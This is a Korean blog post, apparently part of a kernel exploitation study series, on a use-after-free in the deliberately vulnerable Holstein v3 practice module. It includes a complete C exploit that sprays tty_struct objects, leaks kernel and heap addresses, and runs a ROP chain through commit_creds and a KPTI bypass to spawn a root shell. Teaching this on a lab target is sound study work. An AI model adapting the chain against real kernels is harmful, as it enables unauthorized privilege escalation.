1. 소개
저번 장엔 커널 공간에서 Heap Based BOF가 일어날 경우 생기는 일에 대해서 알아 보았다.
이번엔 커널 공간에서 일어나는 U-A-F와 이를 악용한 Exploit에 대해서 공부 해보자.
2. Example
예제는 ptr-yudai님의 Holestein v3 module을 가지고 실습 할것이다.
https://pawnyable.cafe/linux-kernel/LK01/distfiles/LK01-3.tar.gz
3. Vulnerability
Code
먼저 모듈의 시작 부분을 보자.
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
모듈을 open하면 kzalloc을 통해 버퍼 공간을 확보한다. kzalloc은 calloc과 같은 역할을 하며 할당 시 모든 공간을 0으로 초기화 후 할당한다.
다음으로 read와 write 함수이다.
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
버퍼 공간에 쓰기 및 읽기 작업을 하며 사이즈 검사를 수행하기 때문에 OOB Read 혹은 Buffer Overflow가 일어나지 않는다.
마지막으로 모듈 close시 할당한 메모리를 해제한다.
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
Vuln
단순히 생각해보면 해당 모듈에는 취약점이 존재하지 않는다. open으로 kzalloc을 사용하기 때문에 메모리 유출도 없고 버퍼 사이즈 검사도 존재하고 close시 포인터를 초기화 하지 않지만 fd를 사용할 수 없으니 괜찮은 것 처럼 보인다.
하지만 커널 공간의 특성상 자원은 공유된다. 이말은 즉슨 한 프로그램 내에 아래와 같은 코드가 있다고 생각해보자.
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
char buf[0x400];
read(fd2, buf, 0x400);
...
fd1에서 한 번 kzalloc을 통해 버퍼가 확보 되지만 fd2에서 다시 kzalloc을 통해 확보된 버퍼가 fd1의 g_buf도 대체된다. 이 과정에서 fd1에서 확보된 버퍼는 해제되지 않고 남아있기 때문에 메모리 누수가 발생한다.
그런데, fd1과 fd2가 같은 버퍼를 사용하기 때문에 fd1을 close하여 메모리가 해제되었을 경우 fd2는 포인터가 남아있기 때문에 U-A-F가 가능하게 된것이다.
이와 같은 취약점은 커널 공간의 특성상 발생하는 문제이며 close시 포인터를 초기화 하지 않는 등의 조치가 없기 때문에 발생하는 취약점이다.
4. Exploit
시나리오
U-A-F가 발생하고 크기가 0x400이기 때문에 우리는 저번 시간에 사용했던 tty_struct를 다시 사용할 수 있다. 한 가지 다른 점이라면 tty_struct 내에 다른 부분을 건드리면 문제가 일어날 수 있기 때문에 우리는 첫 번째 U-A-F 취약점으로 커널 이미지의 베이스 주소와 힙 주소를 얻고 ROP Chain을 작성한 뒤, 두 번째 U-A-F를 이용하여 저번과 똑같이 익스플로잇 하는 방법을 선택했다.
Exploit Code
// !/bin/sh
// gcc exploit.c -o exploit -Wall -static
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define BASE_OFFSET 0xc39c60
#define COMMIT_OFFSET 0x0723c0
#define PREPARE_OFFSET 0x072560
#define POP_RDI_OFFSET 0x14078a
#define POP_RCX_OFFSET 0xeb7e4
#define MOV_RDI_RAX_OFFSET 0x638e9b
#define BYPASS_KPTI_OFFSET 0x800e26
#define POP_RSP_OFFSET 0x14fbea
void fatal(const char *msg) {
perror(msg);
exit(1);
}
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *evnp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, evnp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
unsigned long kernel_base;
unsigned long heap_addr;
char buf[0x400];
int spray[100];
save_state();
// First U-A-F
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
if (fd1 == -1 || fd2 == -1) {
fatal("/dev/holstein");
}
close(fd1);
// Consume Free List
for (int i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) {
fatal("/dev/ptmx");
}
}
read(fd2, buf, 0x400);
kernel_base = *(unsigned long*)&buf[0x18] - BASE_OFFSET;
heap_addr = *(unsigned long*)&buf[0x38] - 0x38;
printf("[+] Kernel Base : 0x%16lx\n", kernel_base);
printf("[+] Heap Address : 0x%16lx\n", heap_addr);
// ROP Chaining
unsigned long *rop = (unsigned long*)&buf;
*rop++ = kernel_base + POP_RDI_OFFSET;
*rop++ = 0;
*rop++ = kernel_base + PREPARE_OFFSET;
*rop++ = kernel_base + POP_RCX_OFFSET;
*rop++ = 0;
*rop++ = kernel_base + MOV_RDI_RAX_OFFSET;
*rop++ = kernel_base + COMMIT_OFFSET;
*rop++ = kernel_base + BYPASS_KPTI_OFFSET;
*rop++ = 0;
*rop++ = 0;
*rop++ = (unsigned long*)&win;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_rsp;
*rop++ = user_ss;
*(unsigned long*)&buf[0x3f8] = kernel_base + POP_RSP_OFFSET;
write(fd2, buf, 0x400);
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
close(fd3);
// Triger ROP Chain
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) {
fatal("/dev/ptmx");
}
}
read(fd4, buf, 0x400);
*(unsigned long*)&buf[0x18] = heap_addr + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = 50; i < 100; i++) {
ioctl(spray[i], 0, heap_addr - 0x8);
}
return 1;
}
5. The Other
만약, SMAP가 존재하지 않는 상황이라면 U-A-F를 두 번 할 필요가 없어지게 된다.
이전에 커널의 보호기법에 대해서 다루던 중 SMAP가 존재하지 않으면 다음과 같은 가젯을 사용할 수 있게 된다고 한적이 있다.
mov esp, 0x12345678; ret;
이렇게 rsp를 낮은 주소로 조작할 수 있는 가젯이 있고 SMAP가 존재하지 않으면 유저공간에서 mmap을 활용하여 0x12345000 영역을 매핑하고 ROP Chain을 준비해 둔다면 굳이 U-A-F를 두 번 할 필요없이 한 번의 RIP 조작으로 ROP를 실행할 수 있다.
이때, mmap 할당 시 MAP_POPULATE 플래그를 추가하면 KPTI가 걸린 상태에서도 물리 메모리가 확보되기 때문에 사용할 수 있게 된다.
6. 마무리
이렇게 커널의 고유 특징 때문에 발생하는 U-A-F 취약점과 그 활용을 알아보았다. 커널 공간은 공유 된다는 특징을 이용하여 같은 프로세스 내에서 두 개의 모듈을 오픈하면 ptr이 덮여 버리기 때문에 포인터 초기화를 안하는 것과 모듈 오픈 시 이미 ptr이 존재하면 오픈이 안되는 등의 패치가 없기 때문에 발생 하였다.
이렇듯 커널 공간에서도 유저 공간과 똑같이 U-A-F가 발생할 수 있다는 것과 그 위험성에 대해서 알아 보았다.
'Kernel' 카테고리의 다른 글
[Kernel] Kernel Heap Overflow (1) | 2024.06.04 |
---|---|
[Kernel] KROP & KPTI (0) | 2024.03.15 |
[Kernel] Kernel Stack Overflow & Commit_creds (0) | 2024.02.18 |
[Kernel] Holstein Module (1) | 2024.02.12 |
[Kernel] 커널의 보호 기법 (1) | 2024.01.04 |